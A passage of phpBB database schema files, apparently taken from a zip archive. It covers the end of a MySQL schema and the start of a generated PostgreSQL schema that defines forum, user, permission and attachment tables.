KEY (imageset_id), UNIQUE imgset_nm (imageset_name(255)) ); # Table: 'phpbb_styles_imageset_data' CREATE TABLE phpbb_styles_imageset_data ( image_id mediumint(8) UNSIGNED NOT NULL auto_increment, image_name varbinary(200) DEFAULT '' NOT NULL, image_filename varbinary(200) DEFAULT '' NOT NULL, image_lang varbinary(30) DEFAULT '' NOT NULL, image_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, image_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, imageset_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (image_id), KEY i_d (imageset_id) ); # Table: 'phpbb_topics' CREATE TABLE phpbb_topics ( topic_id mediumint(8) UNSIGNED NOT NULL auto_increment, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, icon_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_attachment tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, topic_approved tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, topic_reported tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, topic_title blob NOT NULL, topic_poster mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_time int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_time_limit int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_views mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_replies mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_replies_real mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_status tinyint(3) DEFAULT '0' NOT NULL, topic_type tinyint(3) DEFAULT '0' NOT NULL, topic_first_post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_first_poster_name blob NOT NULL, topic_first_poster_colour varbinary(6) DEFAULT '' NOT NULL, topic_last_post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_last_poster_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_last_poster_name blob NOT NULL, topic_last_poster_colour varbinary(6) DEFAULT '' NOT NULL, topic_last_post_subject blob NOT NULL, topic_last_post_time int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_last_view_time int(11) UNSIGNED DEFAULT '0' NOT NULL, topic_moved_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_bumped tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, topic_bumper mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, poll_title blob NOT NULL, poll_start int(11) UNSIGNED DEFAULT '0' NOT NULL, poll_length int(11) UNSIGNED DEFAULT '0' NOT NULL, poll_max_options tinyint(4) DEFAULT '1' NOT NULL, poll_last_vote int(11) UNSIGNED DEFAULT '0' NOT NULL, poll_vote_change tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (topic_id), KEY forum_id (forum_id), KEY forum_id_type (forum_id, topic_type), KEY last_post_time (topic_last_post_time), KEY topic_approved (topic_approved), KEY forum_appr_last (forum_id, topic_approved, topic_last_post_id), KEY fid_time_moved (forum_id, topic_last_post_time, topic_moved_id) ); # Table: 'phpbb_topics_track' CREATE TABLE phpbb_topics_track ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, forum_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, mark_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, topic_id), KEY topic_id (topic_id), KEY forum_id (forum_id) ); # Table: 'phpbb_topics_posted' CREATE TABLE phpbb_topics_posted ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, topic_posted tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, topic_id) ); # Table: 'phpbb_topics_watch' CREATE TABLE phpbb_topics_watch ( topic_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, notify_status tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, KEY topic_id (topic_id), KEY user_id (user_id), KEY notify_stat (notify_status) ); # Table: 'phpbb_user_group' CREATE TABLE phpbb_user_group ( group_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, group_leader tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_pending tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, KEY group_id (group_id), KEY user_id (user_id), KEY group_leader (group_leader) ); # Table: 'phpbb_users' CREATE TABLE phpbb_users ( user_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_type tinyint(2) DEFAULT '0' NOT NULL, group_id mediumint(8) UNSIGNED DEFAULT '3' NOT NULL, user_permissions mediumblob NOT NULL, user_perm_from mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_ip varbinary(40) DEFAULT '' NOT NULL, user_regdate int(11) UNSIGNED DEFAULT '0' NOT NULL, username blob NOT NULL, username_clean blob NOT NULL, user_password varbinary(120) DEFAULT '' NOT NULL, user_passchg int(11) UNSIGNED DEFAULT '0' NOT NULL, user_pass_convert tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_email blob NOT NULL, user_email_hash bigint(20) DEFAULT '0' NOT NULL, user_birthday varbinary(10) DEFAULT '' NOT NULL, user_lastvisit int(11) UNSIGNED DEFAULT '0' NOT NULL, user_lastmark int(11) UNSIGNED DEFAULT '0' NOT NULL, user_lastpost_time int(11) UNSIGNED DEFAULT '0' NOT NULL, user_lastpage blob NOT NULL, user_last_confirm_key varbinary(10) DEFAULT '' NOT NULL, user_last_search int(11) UNSIGNED DEFAULT '0' NOT NULL, user_warnings tinyint(4) DEFAULT '0' NOT NULL, user_last_warning int(11) UNSIGNED DEFAULT '0' NOT NULL, user_login_attempts tinyint(4) DEFAULT '0' NOT NULL, user_inactive_reason tinyint(2) DEFAULT '0' NOT NULL, user_inactive_time int(11) UNSIGNED DEFAULT '0' NOT NULL, user_posts mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_lang varbinary(30) DEFAULT '' NOT NULL, user_timezone decimal(5,2) DEFAULT '0' NOT NULL, user_dst tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_dateformat varbinary(90) DEFAULT 'd M Y H:i' NOT NULL, user_style mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_rank mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, user_colour varbinary(6) DEFAULT '' NOT NULL, user_new_privmsg int(4) DEFAULT '0' NOT NULL, user_unread_privmsg int(4) DEFAULT '0' NOT NULL, user_last_privmsg int(11) UNSIGNED DEFAULT '0' NOT NULL, user_message_rules tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_full_folder int(11) DEFAULT '-3' NOT NULL, user_emailtime int(11) UNSIGNED DEFAULT '0' NOT NULL, user_topic_show_days smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_topic_sortby_type varbinary(1) DEFAULT 't' NOT NULL, user_topic_sortby_dir varbinary(1) DEFAULT 'd' NOT NULL, user_post_show_days smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_post_sortby_type varbinary(1) DEFAULT 't' NOT NULL, user_post_sortby_dir varbinary(1) DEFAULT 'a' NOT NULL, user_notify tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, user_notify_pm tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_notify_type tinyint(4) DEFAULT '0' NOT NULL, user_allow_pm tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_allow_viewonline tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_allow_viewemail tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_allow_massemail tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_options int(11) UNSIGNED DEFAULT '230271' NOT NULL, user_avatar varbinary(255) DEFAULT '' NOT NULL, user_avatar_type tinyint(2) DEFAULT '0' NOT NULL, user_avatar_width smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_avatar_height smallint(4) UNSIGNED DEFAULT '0' NOT NULL, user_sig mediumblob NOT NULL, user_sig_bbcode_uid varbinary(8) DEFAULT '' NOT NULL, user_sig_bbcode_bitfield varbinary(255) DEFAULT '' NOT NULL, user_from blob NOT NULL, user_icq varbinary(15) DEFAULT '' NOT NULL, user_aim blob NOT NULL, user_yim blob NOT NULL, user_msnm blob NOT NULL, user_jabber blob NOT NULL, user_website blob NOT NULL, user_occ blob NOT NULL, user_interests blob NOT NULL, user_actkey varbinary(32) DEFAULT '' NOT NULL, user_newpasswd varbinary(120) DEFAULT '' NOT NULL, user_form_salt varbinary(96) DEFAULT '' NOT NULL, user_new tinyint(1) UNSIGNED DEFAULT '1' NOT NULL, user_reminded tinyint(4) DEFAULT '0' NOT NULL, user_reminded_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id), KEY user_birthday (user_birthday), KEY user_email_hash (user_email_hash), KEY user_type (user_type), UNIQUE username_clean (username_clean(255)) ); # Table: 'phpbb_warnings' CREATE TABLE phpbb_warnings ( warning_id mediumint(8) UNSIGNED NOT NULL auto_increment, user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, post_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, log_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, warning_time int(11) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (warning_id) ); # Table: 'phpbb_words' CREATE TABLE phpbb_words ( word_id mediumint(8) UNSIGNED NOT NULL auto_increment, word blob NOT NULL, replacement blob NOT NULL, PRIMARY KEY (word_id) ); # Table: 'phpbb_zebra' CREATE TABLE phpbb_zebra ( user_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, zebra_id mediumint(8) UNSIGNED DEFAULT '0' NOT NULL, friend tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, foe tinyint(1) UNSIGNED DEFAULT '0' NOT NULL, PRIMARY KEY (user_id, zebra_id) ); PK‰† [‘@ºÂÂschemas/postgres_schema.sqlnuW+A„¶/* * DO NOT EDIT THIS FILE, IT IS GENERATED * * To change the contents of this file, edit * phpBB/develop/create_schema_files.php and * run it. */ BEGIN; /* Domain definition */ CREATE DOMAIN varchar_ci AS varchar(255) NOT NULL DEFAULT ''::character varying; /* Operation Functions */ CREATE FUNCTION _varchar_ci_equal(varchar_ci, varchar_ci) RETURNS boolean AS 'SELECT LOWER($1) = LOWER($2)' LANGUAGE SQL STRICT; CREATE FUNCTION _varchar_ci_not_equal(varchar_ci, varchar_ci) RETURNS boolean AS 'SELECT LOWER($1) != LOWER($2)' LANGUAGE SQL STRICT; CREATE FUNCTION _varchar_ci_less_than(varchar_ci, varchar_ci) RETURNS boolean AS 'SELECT LOWER($1) < LOWER($2)' LANGUAGE SQL STRICT; CREATE FUNCTION _varchar_ci_less_equal(varchar_ci, varchar_ci) RETURNS boolean AS 'SELECT LOWER($1) <= LOWER($2)' LANGUAGE SQL STRICT; CREATE FUNCTION _varchar_ci_greater_than(varchar_ci, varchar_ci) RETURNS boolean AS 'SELECT LOWER($1) > LOWER($2)' LANGUAGE SQL STRICT; CREATE FUNCTION _varchar_ci_greater_equals(varchar_ci, varchar_ci) RETURNS boolean AS 'SELECT LOWER($1) >= LOWER($2)' LANGUAGE SQL STRICT; /* Operators */ CREATE OPERATOR <( PROCEDURE = _varchar_ci_less_than, LEFTARG = varchar_ci, RIGHTARG = varchar_ci, COMMUTATOR = >, NEGATOR = >=, RESTRICT = scalarltsel, JOIN = scalarltjoinsel); CREATE OPERATOR <=( PROCEDURE = _varchar_ci_less_equal, LEFTARG = varchar_ci, RIGHTARG = varchar_ci, COMMUTATOR = >=, NEGATOR = >, RESTRICT = scalarltsel, JOIN = scalarltjoinsel); CREATE OPERATOR >( PROCEDURE = _varchar_ci_greater_than, LEFTARG = varchar_ci, RIGHTARG = varchar_ci, COMMUTATOR = <, NEGATOR = <=, RESTRICT = scalargtsel, JOIN = scalargtjoinsel); CREATE OPERATOR >=( PROCEDURE = _varchar_ci_greater_equals, LEFTARG = varchar_ci, RIGHTARG = varchar_ci, COMMUTATOR = <=, NEGATOR = <, RESTRICT = scalargtsel, JOIN = scalargtjoinsel); CREATE OPERATOR <>( PROCEDURE = _varchar_ci_not_equal, LEFTARG = varchar_ci, RIGHTARG = varchar_ci, COMMUTATOR = <>, NEGATOR = =, RESTRICT = neqsel, JOIN = neqjoinsel); CREATE OPERATOR =( PROCEDURE = _varchar_ci_equal, LEFTARG = varchar_ci, RIGHTARG = varchar_ci, COMMUTATOR = =, NEGATOR = <>, RESTRICT = eqsel, JOIN = eqjoinsel, HASHES, MERGES, SORT1= <); /* Table: 'phpbb_attachments' */ CREATE SEQUENCE phpbb_attachments_seq; CREATE TABLE phpbb_attachments ( attach_id INT4 DEFAULT nextval('phpbb_attachments_seq'), post_msg_id INT4 DEFAULT '0' NOT NULL CHECK (post_msg_id >= 0), topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), in_message INT2 DEFAULT '0' NOT NULL CHECK (in_message >= 0), poster_id INT4 DEFAULT '0' NOT NULL CHECK (poster_id >= 0), is_orphan INT2 DEFAULT '1' NOT NULL CHECK (is_orphan >= 0), physical_filename varchar(255) DEFAULT '' NOT NULL, real_filename varchar(255) DEFAULT '' NOT NULL, download_count INT4 DEFAULT '0' NOT NULL CHECK (download_count >= 0), attach_comment varchar(4000) DEFAULT '' NOT NULL, extension varchar(100) DEFAULT '' NOT NULL, mimetype varchar(100) DEFAULT '' NOT NULL, filesize INT4 DEFAULT '0' NOT NULL CHECK (filesize >= 0), filetime INT4 DEFAULT '0' NOT NULL CHECK (filetime >= 0), thumbnail INT2 DEFAULT '0' NOT NULL CHECK (thumbnail >= 0), PRIMARY KEY (attach_id) ); CREATE INDEX phpbb_attachments_filetime ON phpbb_attachments (filetime); CREATE INDEX phpbb_attachments_post_msg_id ON phpbb_attachments (post_msg_id); CREATE INDEX phpbb_attachments_topic_id ON phpbb_attachments (topic_id); CREATE INDEX phpbb_attachments_poster_id ON phpbb_attachments (poster_id); CREATE INDEX phpbb_attachments_is_orphan ON phpbb_attachments (is_orphan); /* Table: 'phpbb_acl_groups' */ CREATE TABLE phpbb_acl_groups ( group_id INT4 DEFAULT '0' NOT NULL CHECK (group_id >= 0), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), auth_option_id INT4 DEFAULT '0' NOT NULL CHECK (auth_option_id >= 0), auth_role_id INT4 DEFAULT '0' NOT NULL CHECK (auth_role_id >= 0), auth_setting INT2 DEFAULT '0' NOT NULL ); CREATE INDEX phpbb_acl_groups_group_id ON phpbb_acl_groups (group_id); CREATE INDEX phpbb_acl_groups_auth_opt_id ON phpbb_acl_groups (auth_option_id); CREATE INDEX phpbb_acl_groups_auth_role_id ON phpbb_acl_groups (auth_role_id); /* Table: 'phpbb_acl_options' */ CREATE SEQUENCE phpbb_acl_options_seq; CREATE TABLE phpbb_acl_options ( auth_option_id INT4 DEFAULT nextval('phpbb_acl_options_seq'), auth_option varchar(50) DEFAULT '' NOT NULL, is_global INT2 DEFAULT '0' NOT NULL CHECK (is_global >= 0), is_local INT2 DEFAULT '0' NOT NULL CHECK (is_local >= 0), founder_only INT2 DEFAULT '0' NOT NULL CHECK (founder_only >= 0), PRIMARY KEY (auth_option_id) ); CREATE UNIQUE INDEX phpbb_acl_options_auth_option ON phpbb_acl_options (auth_option); /* Table: 'phpbb_acl_roles' */ CREATE SEQUENCE phpbb_acl_roles_seq; CREATE TABLE phpbb_acl_roles ( role_id INT4 DEFAULT nextval('phpbb_acl_roles_seq'), role_name varchar(255) DEFAULT '' NOT NULL, role_description varchar(4000) DEFAULT '' NOT NULL, role_type varchar(10) DEFAULT '' NOT NULL, role_order INT2 DEFAULT '0' NOT NULL CHECK (role_order >= 0), PRIMARY KEY (role_id) ); CREATE INDEX phpbb_acl_roles_role_type ON phpbb_acl_roles (role_type); CREATE INDEX phpbb_acl_roles_role_order ON phpbb_acl_roles (role_order); /* Table: 'phpbb_acl_roles_data' */ CREATE TABLE phpbb_acl_roles_data ( role_id INT4 DEFAULT '0' NOT NULL CHECK (role_id >= 0), auth_option_id INT4 DEFAULT '0' NOT NULL CHECK (auth_option_id >= 0), auth_setting INT2 DEFAULT '0' NOT NULL, PRIMARY KEY (role_id, auth_option_id) ); CREATE INDEX phpbb_acl_roles_data_ath_op_id ON phpbb_acl_roles_data (auth_option_id); /* Table: 'phpbb_acl_users' */ CREATE TABLE phpbb_acl_users ( user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), auth_option_id INT4 DEFAULT '0' NOT NULL CHECK (auth_option_id >= 0), auth_role_id INT4 DEFAULT '0' NOT NULL CHECK (auth_role_id >= 0), auth_setting INT2 DEFAULT '0' NOT NULL ); CREATE INDEX phpbb_acl_users_user_id ON phpbb_acl_users (user_id); CREATE INDEX phpbb_acl_users_auth_option_id ON phpbb_acl_users (auth_option_id); CREATE INDEX phpbb_acl_users_auth_role_id ON phpbb_acl_users (auth_role_id); /* Table: 'phpbb_banlist' */ CREATE SEQUENCE phpbb_banlist_seq; CREATE TABLE phpbb_banlist ( ban_id INT4 DEFAULT nextval('phpbb_banlist_seq'), ban_userid INT4 DEFAULT '0' NOT NULL CHECK (ban_userid >= 0), ban_ip varchar(40) DEFAULT '' NOT NULL, ban_email varchar(100) DEFAULT '' NOT NULL, ban_start INT4 DEFAULT '0' NOT NULL CHECK (ban_start >= 0), ban_end INT4 DEFAULT '0' NOT NULL CHECK (ban_end >= 0), ban_exclude INT2 DEFAULT '0' NOT NULL CHECK (ban_exclude >= 0), ban_reason varchar(255) DEFAULT '' NOT NULL, ban_give_reason varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (ban_id) ); CREATE INDEX phpbb_banlist_ban_end ON phpbb_banlist (ban_end); CREATE INDEX phpbb_banlist_ban_user ON phpbb_banlist (ban_userid, ban_exclude); CREATE INDEX phpbb_banlist_ban_email ON phpbb_banlist (ban_email, ban_exclude); CREATE INDEX phpbb_banlist_ban_ip ON phpbb_banlist (ban_ip, ban_exclude); /* Table: 'phpbb_bbcodes' */ CREATE TABLE phpbb_bbcodes ( bbcode_id INT2 DEFAULT '0' NOT NULL CHECK (bbcode_id >= 0), bbcode_tag varchar(16) DEFAULT '' NOT NULL, bbcode_helpline varchar(255) DEFAULT '' NOT NULL, display_on_posting INT2 DEFAULT '0' NOT NULL CHECK (display_on_posting >= 0), bbcode_match varchar(4000) DEFAULT '' NOT NULL, bbcode_tpl TEXT DEFAULT '' NOT NULL, first_pass_match TEXT DEFAULT '' NOT NULL, first_pass_replace TEXT DEFAULT '' NOT NULL, second_pass_match TEXT DEFAULT '' NOT NULL, second_pass_replace TEXT DEFAULT '' NOT NULL, PRIMARY KEY (bbcode_id) ); CREATE INDEX phpbb_bbcodes_display_on_post ON phpbb_bbcodes (display_on_posting); /* Table: 'phpbb_bookmarks' */ CREATE TABLE phpbb_bookmarks ( topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), PRIMARY KEY (topic_id, user_id) ); /* Table: 'phpbb_bots' */ CREATE SEQUENCE phpbb_bots_seq; CREATE TABLE phpbb_bots ( bot_id INT4 DEFAULT nextval('phpbb_bots_seq'), bot_active INT2 DEFAULT '1' NOT NULL CHECK (bot_active >= 0), bot_name varchar(255) DEFAULT '' NOT NULL, user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), bot_agent varchar(255) DEFAULT '' NOT NULL, bot_ip varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (bot_id) ); CREATE INDEX phpbb_bots_bot_active ON phpbb_bots (bot_active); /* Table: 'phpbb_config' */ CREATE TABLE phpbb_config ( config_name varchar(255) DEFAULT '' NOT NULL, config_value varchar(255) DEFAULT '' NOT NULL, is_dynamic INT2 DEFAULT '0' NOT NULL CHECK (is_dynamic >= 0), PRIMARY KEY (config_name) ); CREATE INDEX phpbb_config_is_dynamic ON phpbb_config (is_dynamic); /* Table: 'phpbb_confirm' */ CREATE TABLE phpbb_confirm ( confirm_id char(32) DEFAULT '' NOT NULL, session_id char(32) DEFAULT '' NOT NULL, confirm_type INT2 DEFAULT '0' NOT NULL, code varchar(8) DEFAULT '' NOT NULL, seed INT4 DEFAULT '0' NOT NULL CHECK (seed >= 0), attempts INT4 DEFAULT '0' NOT NULL CHECK (attempts >= 0), PRIMARY KEY (session_id, confirm_id) ); CREATE INDEX phpbb_confirm_confirm_type ON phpbb_confirm (confirm_type); /* Table: 'phpbb_disallow' */ CREATE SEQUENCE phpbb_disallow_seq; CREATE TABLE phpbb_disallow ( disallow_id INT4 DEFAULT nextval('phpbb_disallow_seq'), disallow_username varchar(255) DEFAULT '' NOT NULL, PRIMARY KEY (disallow_id) ); /* Table: 'phpbb_drafts' */ CREATE SEQUENCE phpbb_drafts_seq; CREATE TABLE phpbb_drafts ( draft_id INT4 DEFAULT nextval('phpbb_drafts_seq'), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), topic_id INT4 DEFAULT '0' NOT NULL CHECK (topic_id >= 0), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), save_time INT4 DEFAULT '0' NOT NULL CHECK (save_time >= 0), draft_subject varchar(255) DEFAULT '' NOT NULL, draft_message TEXT DEFAULT '' NOT NULL, PRIMARY KEY (draft_id) ); CREATE INDEX phpbb_drafts_save_time ON phpbb_drafts (save_time); /* Table: 'phpbb_extensions' */ CREATE SEQUENCE phpbb_extensions_seq; CREATE TABLE phpbb_extensions ( extension_id INT4 DEFAULT nextval('phpbb_extensions_seq'), group_id INT4 DEFAULT '0' NOT NULL CHECK (group_id >= 0), extension varchar(100) DEFAULT '' NOT NULL, PRIMARY KEY (extension_id) ); /* Table: 'phpbb_extension_groups' */ CREATE SEQUENCE phpbb_extension_groups_seq; CREATE TABLE phpbb_extension_groups ( group_id INT4 DEFAULT nextval('phpbb_extension_groups_seq'), group_name varchar(255) DEFAULT '' NOT NULL, cat_id INT2 DEFAULT '0' NOT NULL, allow_group INT2 DEFAULT '0' NOT NULL CHECK (allow_group >= 0), download_mode INT2 DEFAULT '1' NOT NULL CHECK (download_mode >= 0), upload_icon varchar(255) DEFAULT '' NOT NULL, max_filesize INT4 DEFAULT '0' NOT NULL CHECK (max_filesize >= 0), allowed_forums varchar(8000) DEFAULT '' NOT NULL, allow_in_pm INT2 DEFAULT '0' NOT NULL CHECK (allow_in_pm >= 0), PRIMARY KEY (group_id) ); /* Table: 'phpbb_forums' */ CREATE SEQUENCE phpbb_forums_seq; CREATE TABLE phpbb_forums ( forum_id INT4 DEFAULT nextval('phpbb_forums_seq'), parent_id INT4 DEFAULT '0' NOT NULL CHECK (parent_id >= 0), left_id INT4 DEFAULT '0' NOT NULL CHECK (left_id >= 0), right_id INT4 DEFAULT '0' NOT NULL CHECK (right_id >= 0), forum_parents TEXT DEFAULT '' NOT NULL, forum_name varchar(255) DEFAULT '' NOT NULL, forum_desc varchar(4000) DEFAULT '' NOT NULL, forum_desc_bitfield varchar(255) DEFAULT '' NOT NULL, forum_desc_options INT4 DEFAULT '7' NOT NULL CHECK (forum_desc_options >= 0), forum_desc_uid varchar(8) DEFAULT '' NOT NULL, forum_link varchar(255) DEFAULT '' NOT NULL, forum_password varchar(40) DEFAULT '' NOT NULL, forum_style INT4 DEFAULT '0' NOT NULL CHECK (forum_style >= 0), forum_image varchar(255) DEFAULT '' NOT NULL, forum_rules varchar(4000) DEFAULT '' NOT NULL, forum_rules_link varchar(255) DEFAULT '' NOT NULL, forum_rules_bitfield varchar(255) DEFAULT '' NOT NULL, forum_rules_options INT4 DEFAULT '7' NOT NULL CHECK (forum_rules_options >= 0), forum_rules_uid varchar(8) DEFAULT '' NOT NULL, forum_topics_per_page INT2 DEFAULT '0' NOT NULL, forum_type INT2 DEFAULT '0' NOT NULL, forum_status INT2 DEFAULT '0' NOT NULL, forum_posts INT4 DEFAULT '0' NOT NULL CHECK (forum_posts >= 0), forum_topics INT4 DEFAULT '0' NOT NULL CHECK (forum_topics >= 0), forum_topics_real INT4 DEFAULT '0' NOT NULL CHECK (forum_topics_real >= 0), forum_last_post_id INT4 DEFAULT '0' NOT NULL CHECK (forum_last_post_id >= 0), forum_last_poster_id INT4 DEFAULT '0' NOT NULL CHECK (forum_last_poster_id >= 0), forum_last_post_subject varchar(255) DEFAULT '' NOT NULL, forum_last_post_time INT4 DEFAULT '0' NOT NULL CHECK (forum_last_post_time >= 0), forum_last_poster_name varchar(255) DEFAULT '' NOT NULL, forum_last_poster_colour varchar(6) DEFAULT '' NOT NULL, forum_flags INT2 DEFAULT '32' NOT NULL, forum_options INT4 DEFAULT '0' NOT NULL CHECK (forum_options >= 0), display_subforum_list INT2 DEFAULT '1' NOT NULL CHECK (display_subforum_list >= 0), display_on_index INT2 DEFAULT '1' NOT NULL CHECK (display_on_index >= 0), enable_indexing INT2 DEFAULT '1' NOT NULL CHECK (enable_indexing >= 0), enable_icons INT2 DEFAULT '1' NOT NULL CHECK (enable_icons >= 0), enable_prune INT2 DEFAULT '0' NOT NULL CHECK (enable_prune >= 0), prune_next INT4 DEFAULT '0' NOT NULL CHECK (prune_next >= 0), prune_days INT4 DEFAULT '0' NOT NULL CHECK (prune_days >= 0), prune_viewed INT4 DEFAULT '0' NOT NULL CHECK (prune_viewed >= 0), prune_freq INT4 DEFAULT '0' NOT NULL CHECK (prune_freq >= 0), PRIMARY KEY (forum_id) ); CREATE INDEX phpbb_forums_left_right_id ON phpbb_forums (left_id, right_id); CREATE INDEX phpbb_forums_forum_lastpost_id ON phpbb_forums (forum_last_post_id); /* Table: 'phpbb_forums_access' */ CREATE TABLE phpbb_forums_access ( forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), session_id char(32) DEFAULT '' NOT NULL, PRIMARY KEY (forum_id, user_id, session_id) ); /* Table: 'phpbb_forums_track' */ CREATE TABLE phpbb_forums_track ( user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), mark_time INT4 DEFAULT '0' NOT NULL CHECK (mark_time >= 0), PRIMARY KEY (user_id, forum_id) ); /* Table: 'phpbb_forums_watch' */ CREATE TABLE phpbb_forums_watch ( forum_id INT4 DEFAULT '0' NOT NULL CHECK (forum_id >= 0), user_id INT4 DEFAULT '0' NOT NULL CHECK (user_id >= 0), notify_status INT2 DEFAULT '0' NOT NULL CHECK (notify_status >= 0) ); CREATE INDEX phpbb_forums_watch_forum_id ON phpbb_forums_watch (forum_id); CREATE INDEX phpbb_forums_watch_user_id ON phpbb_forums_watch (user_id); CREATE INDEX phpbb_forums_watch_notify_stat ON phpbb_forums_watch (notify_status); /* Table: 'phpbb_groups' */ CREATE SEQUENCE phpbb_groups_seq; CREATE TABLE phpbb_groups ( group_id INT4 DEFAULT nextval('phpbb_groups_seq'), group_type INT2 DEFAULT '1' NOT NULL, group_founder_manage INT2 DEFAULT '0' NOT NULL CHECK (group_founder_manage >= 0), group_skip_auth INT2 DEFAULT '0' NOT NULL CHECK (group_skip_auth >= 0), group_name varchar_ci DEFAULT '' NOT NULL, group_desc varchar(4000) DEFAULT '' NOT NULL, group_desc_bitfield varchar(255) DEFAULT '' NOT NULL, group_desc_options INT4 DEFAULT '7' NOT NULL CHECK (group_desc_options >= 0), group_desc_uid varchar(8) DEFAULT '' NOT NULL, group_display INT2 DEFAULT '0' NOT NULL CHECK (group_display >= 0), group_avatar varchar(255) DEFAULT '' NOT NULL, group_avatar_type INT2 DEFAULT '0' NOT NULL, group_avatar_width INT2 DEFAULT '0' NOT NULL CHECK (group_avatar_width >= 0), group_avatar_height INT2 DEFAULT '0' NOT NULL CHECK (group_avatar_height >= 0), group_rank INT4 DEFAULT '0' NOT NULL CHECK (group_rank >= 0), group_colour varchar(6) DEFAULT '' NOT NULL, group_sig_chars INT4 DEFAULT '0' NOT NULL CHECK (group_sig_chars >= 0), group_receive_pm INT2 DEFAULT '0' NOT NULL CHECK (group_receive_pm >= 0), group_message_limit INT4 DEFAULT '0' NOT NULL CHECK (group_message_limit >= 0), group_max_recipients INT4 DEFAULT '0' NOT NULL CHECK (group_max_recipients >= 0), group_legend INT2 DEFAULT '1' NOT NULL CHECK (group_legend >= 0), PRIMARY KEY (group_id) ); CREATE INDEX phpbb_groups_group_legend_name ON phpbb_groups (group_legend, group_name); /* Table: 'phpbb_icons' */ CREATE SEQUENCE phpbb_icons_seq; CREATE TABLE phpbb_icons ( icons_id INT4 DEFAULT nextval('phpbb_icons_seq'), icons_url varchar(255) DEFAULT '' NOT NULL, icons_width INT2 DEFAULT '0' NOT NULL, icons_height INT2 DEFAULT '0' NOT NULL, icons_order INT4 DEFAULT '0' NOT NULL CHECK (icons_order >= 0), display_on_posting INT2 DEFAULT '1' NOT NULL CHECK (display_on_posting >= 0), PRIMARY KEY (icons_id) ); CREATE INDEX phpbb_icons_display_on_posting ON phpbb_icons (display_on_posting); /* Table: 'phpbb_lang' */ CREATE SEQUENCE phpbb_lang_seq; CREATE TABLE phpbb_lang ( lang_id INT2 DEFAULT nextval('phpbb_lang_seq'), lang_iso varchar(30) DEFAULT '' NOT NULL, lang_dir varchar(30) DEFAULT '' NOT NULL, lang_english_name varchar(100) DEFAULT '' NOT NULL, lang_local_name varchar(255) DEFAULT '' 